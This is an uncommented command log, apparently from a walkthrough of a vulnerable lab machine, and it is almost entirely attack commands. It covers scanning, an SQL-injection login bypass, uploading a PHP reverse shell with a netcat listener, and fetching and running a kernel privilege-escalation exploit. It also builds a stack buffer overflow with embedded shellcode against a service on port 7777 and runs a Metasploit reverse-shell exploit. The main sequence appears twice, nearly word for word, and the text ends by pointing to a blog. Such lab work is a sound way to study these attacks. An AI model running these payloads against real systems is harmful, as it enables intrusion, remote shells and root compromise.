Commands
Code:
netdiscover -r 192.168.0.1/24
us -H -msf -Iv 192.168.0.110 -p 1-65535 && us -H -mU -Iv 192.168.0.110 -p 1-65535
nmap -p 1-65535 -T4 -A 192.168.0.110 # -p 22,25,80,139,445,3306,7777
// BT -> BackTrack -> Vulnerability Assessment -> Web Application Assessment -> Web Application Fuzzers -> # Target: http://192.168.0.110. File: /pentest/web/dirbuster/directory-list-lowercase-2.3-small.txt. Disable: Brute Force File, Be recursive. #java -jar /pentest/web/dirbuster/DirBuster-0.12.jar
// firefox -> 192.168.0.110 # blog (/myblog/) [username: blogger] -> Post new entry! (/admin/post.php) -> Change profile settings! (/admin/post.php)
// blogger // password // Test
// blogger // ' OR 1=1-- - // Test
// Right click -> View Source [fname: sig.txt]. Tools -> Tamper Data -> Enable -> Restart Firefox -> Start Tamper
// blogger // ' OR 1=1-- - // Test
// Tamper -> fname: /sig.txt. Stop Tamper
curl http://192.168.0.110/profiles/blogger-sig.txt
// blogger // ' OR 1=1-- - // <?php echo "Test2"; ?>
curl http://192.168.0.110/profiles/blogger-sig.php
// Tamper -> fname: sig.php. Stop Tamper
cat /pentest/backdoors/web/webshells/php-resever-shell.php
nc -lvvp 443
// blogger // ' OR 1=1-- - // <php-resever-shell.php> # Edit IP address & Port
// Tamper -> fname: sig.php
curl -D - http://192.168.0.110/profiles/blogger-sig.php
cd /home/
alias ll="ls -lAh"
ll
cd testuser
ll
ps aux
!! | grep buffd
cat buffd.c
// Check DirBuster -> firefox -> repo
cd /tmp
wget 192.168.0.110/repo/buffd.c
less buffd.c
netstat -antp
file /usr/local/sbin/buffd
ll /usr/local/sbin/
ll /proc/sys/kernel/ # Does't have ASLR!
uname -r # < 2.6.12
cd /pentest/exploits/exploitdb
cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6.8
cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6 | cut -d "," -f 3 | sort
cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3
cat platforms/linux/local/9574.txt
wget http://exploit-db.com/sploits/2009-therebel.tgz -O /var/www/exploit.tgz
chmod 755 /var/www/exploit.tgz
/etc/init.d/apache2 start
cd /tmp
wget 192.168.0.162/exploit.tgz
tar zxvf exploit.tgz
cd therebel
ls -lAh
bash therebel.sh
id
ulimit -c
ulimit -c unlimited # Create core files
ulimit -a
watch -t -n 1 "ls -l"
nc 127.0.0.1 7777 # test
echo test | !!
python -c 'import sys;sys.stdout.write("\x41" * 10)' | !nc
python -c 'import sys;sys.stdout.write("\x41" * 100)' | nc 192.168.0.110 7777
python -c 'import sys;sys.stdout.write("\x41" * 1000)' | nc 192.168.0.110 7777
python -c 'import sys;sys.stdout.write("\x41" * 10)' | nc 192.168.0.110 7777 # Just one thread that died
apt-get install gdb
gdb --core core
info registers eip # info reg eip # i f eip
quit # q
rm core
/pentest/exploits/framework/tools/pattern_create.rb 1000 > 1000
cat 1000 | nc 192.168.0.110 7777
gdb --core core
i r eip
/pentest/exploits/framework/tools/pattern_offset.rb 0x65413165 1000 # space: 124
quit
rm core; ./buffd
python -c 'import sys;sys.stdout.write("\x41" * 124 + "\x42" * 4 + "\x43" * 872)' | nc 192.168.0.110 7777 # echo 1000-124-4 | bc
gdb --core core
i r eip
x/200xb $eax
quit
rm core; ./buffd
msfvenom -l payloads 2>&1 | grep linux
msfvenom -p linux/x86/shell_bind_tcp -b '\x00\xff' -f c # shellcode: 105
python -c 'import sys;sys.stdout.write("\x41" * 124 + "\x42\x42\x42\x42" + "\x90" * 26 + "\x43\x43\x43\x43" + "\xdd\xc7\xd9\x74\x24\xf4\xba\x75\xd0\x5b\x85\x5e\x33\xc9\xb1\x14\x31\x56\x19\x03\x56\x19\x83\xee\xfc\x97\x25\x6a\x5e\xa0\x25\xde\x23\x1d\xc0\xe3\x2a\x40\xa4\x82\xe1\x02\x9e\x14\xa8\x6a\xde\xab\x5d\x36\x4a\xbc\x0c\x96\x03\x5d\xc4\x70\x4c\x53\x99\xf5\x2d\x6f\x29\x01\x1e\x09\x80\x89\x1d\x66\x7c\x44\x21\x15\xd8\x3c\x1d\x42\x16\x40\x28\x0b\x50\x28\x84\xc4\xd3\xc0\xb2\x35\x76\x79\x2d\xc3\x95\x29\xe2\x5a\xb8\x79\x0f\x90\xbb" + "\x90" * 40 + "\x42" * 4 + "\x43" * 763)'| nc 192.168.0.110 7777 # A B NOP C SHELL NOP (B will be EIP, C is debugging - can be added onto NOPs, NOPs at the end to pad)
gdb --core core
i r esp # ESP: 0xbffff330
x/200xb $esp # start of Cs
quit
rm core; ./buffd
nc -vv 192.168.0.110 4444
python -c 'import sys;sys.stdout.write("\x41" * 124 + "\x30\xf3\xff\xbf" + "\x90" * 30 + "\xdd\xc7\xd9\x74\x24\xf4\xba\x75\xd0\x5b\x85\x5e\x33\xc9\xb1\x14\x31\x56\x19\x03\x56\x19\x83\xee\xfc\x97\x25\x6a\x5e\xa0\x25\xde\x23\x1d\xc0\xe3\x2a\x40\xa4\x82\xe1\x02\x9e\x14\xa8\x6a\xde\xab\x5d\x36\x4a\xbc\x0c\x96\x03\x5d\xc4\x70\x4c\x53\x99\xf5\x2d\x6f\x29\x01\x1e\x09\x80\x89\x1d\x66\x7c\x44\x21\x15\xd8\x3c\x1d\x42\x16\x40\x28\x0b\x50\x28\x84\xc4\xd3\xc0\xb2\x35\x76\x79\x2d\xc3\x95\x29\xe2\x5a\xb8\x79\x0f\x90\xbb" + "\x90" * 40 + "\x42" * 4 + "\x43" * 763)'| nc 192.168.0.110 7777
nc -vv 192.168.0.110 4444
cd /pentest/exploits/framework/modules/exploits/linux/misc
vi vulnimage.rb
msfconsole
search vulnimage
use exploit/linux/misc/vulnimage
info
show options
set payload linux/x86/shell/reverse_tcp
set RHOST 192.168.0.110
set LHOST 192.168.0.162
show options
exploit
exploit
exploit
netdiscover -r 192.168.0.1/24
us -H -msf -Iv 192.168.0.110 -p 1-65535 && us -H -mU -Iv 192.168.0.110 -p 1-65535
nmap -p 1-65535 -T4 -A 192.168.0.110 # -p 22,25,80,139,445,3306,7777
// BT -> BackTrack -> Vulnerability Assessment -> Web Application Assessment -> Web Application Fuzzers -> # Target: http://192.168.0.110. File: /pentest/web/dirbuster/directory-list-lowercase-2.3-small.txt. Disable: Brute Force File, Be recursive. #java -jar /pentest/web/dirbuster/DirBuster-0.12.jar
// firefox -> 192.168.0.110 # blog (/myblog/) [username: blogger] -> Post new entry! (/admin/post.php) -> Change profile settings! (/admin/post.php)
// blogger // password // Test
// blogger // ' OR 1=1-- - // Test
// Right click -> View Source [fname: sig.txt]. Tools -> Tamper Data -> Enable -> Restart Firefox -> Start Tamper
// blogger // ' OR 1=1-- - // Test
// Tamper -> fname: /sig.txt. Stop Tamper
curl http://192.168.0.110/profiles/blogger-sig.txt
// blogger // ' OR 1=1-- - // <?php echo "Test2"; ?>
curl http://192.168.0.110/profiles/blogger-sig.php
// Tamper -> fname: sig.php. Stop Tamper
cat /pentest/backdoors/web/webshells/php-resever-shell.php
nc -lvvp 443
// blogger // ' OR 1=1-- - // <php-resever-shell.php> # Edit IP address & Port
// Tamper -> fname: sig.php
curl -D - http://192.168.0.110/profiles/blogger-sig.php
cd /home/
alias ll="ls -lAh"
ll
cd testuser
ll
ps aux
!! | grep buffd
cat buffd.c
// Check DirBuster -> firefox -> repo
cd /tmp
wget 192.168.0.110/repo/buffd.c
less buffd.c
netstat -antp
file /usr/local/sbin/buffd
ll /usr/local/sbin/
ll /proc/sys/kernel/ # Does't have ASLR!
uname -r # < 2.6.12
cd /pentest/exploits/exploitdb
cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6.8
cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6 | cut -d "," -f 3 | sort
cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3
cat platforms/linux/local/9574.txt
wget http://exploit-db.com/sploits/2009-therebel.tgz -O /var/www/exploit.tgz
chmod 755 /var/www/exploit.tgz
/etc/init.d/apache2 start
cd /tmp
wget 192.168.0.162/exploit.tgz
tar zxvf exploit.tgz
cd therebel
ls -lAh
bash therebel.sh
id
ulimit -c
ulimit -c unlimited # Create core files
ulimit -a
watch -t -n 1 "ls -l"
nc 127.0.0.1 7777 # test
echo test | !!
python -c 'import sys;sys.stdout.write("\x41" * 10)' | !nc
python -c 'import sys;sys.stdout.write("\x41" * 100)' | nc 192.168.0.110 7777
python -c 'import sys;sys.stdout.write("\x41" * 1000)' | nc 192.168.0.110 7777
python -c 'import sys;sys.stdout.write("\x41" * 10)' | nc 192.168.0.110 7777 # Just one thread that died
apt-get install gdb
gdb --core core
info registers eip # info reg eip # i f eip
quit # q
rm core
/pentest/exploits/framework/tools/pattern_create.rb 1000 > 1000
cat 1000 | nc 192.168.0.110 7777
gdb --core core
i r eip
/pentest/exploits/framework/tools/pattern_offset.rb 0x65413165 1000 # space: 124
quit
rm core; ./buffd
python -c 'import sys;sys.stdout.write("\x41" * 124 + "\x42" * 4 + "\x43" * 872)' | nc 192.168.0.110 7777 # echo 1000-124-4 | bc
gdb --core core
i r eip
x/200xb $eax
quit
rm core; ./buffd
msfvenom -l payloads 2>&1 | grep linux
msfvenom -p linux/x86/shell_bind_tcp -b '\x00\xff' -f c # shellcode: 105
python -c 'import sys;sys.stdout.write("\x41" * 124 + "\x42\x42\x42\x42" + "\x90" * 26 + "\x43\x43\x43\x43" + "\xdd\xc7\xd9\x74\x24\xf4\xba\x75\xd0\x5b\x85\x5e\x33\xc9\xb1\x14\x31\x56\x19\x03\x56\x19\x83\xee\xfc\x97\x25\x6a\x5e\xa0\x25\xde\x23\x1d\xc0\xe3\x2a\x40\xa4\x82\xe1\x02\x9e\x14\xa8\x6a\xde\xab\x5d\x36\x4a\xbc\x0c\x96\x03\x5d\xc4\x70\x4c\x53\x99\xf5\x2d\x6f\x29\x01\x1e\x09\x80\x89\x1d\x66\x7c\x44\x21\x15\xd8\x3c\x1d\x42\x16\x40\x28\x0b\x50\x28\x84\xc4\xd3\xc0\xb2\x35\x76\x79\x2d\xc3\x95\x29\xe2\x5a\xb8\x79\x0f\x90\xbb" + "\x90" * 40 + "\x42" * 4 + "\x43" * 763)'| nc 192.168.0.110 7777 # A B NOP C SHELL NOP (B will be EIP, C is debugging - can be added onto NOPs, NOPs at the end to pad)
gdb --core core
i r esp # ESP: 0xbffff330
x/200xb $esp # start of Cs
quit
rm core; ./buffd
*See the blog for the rest*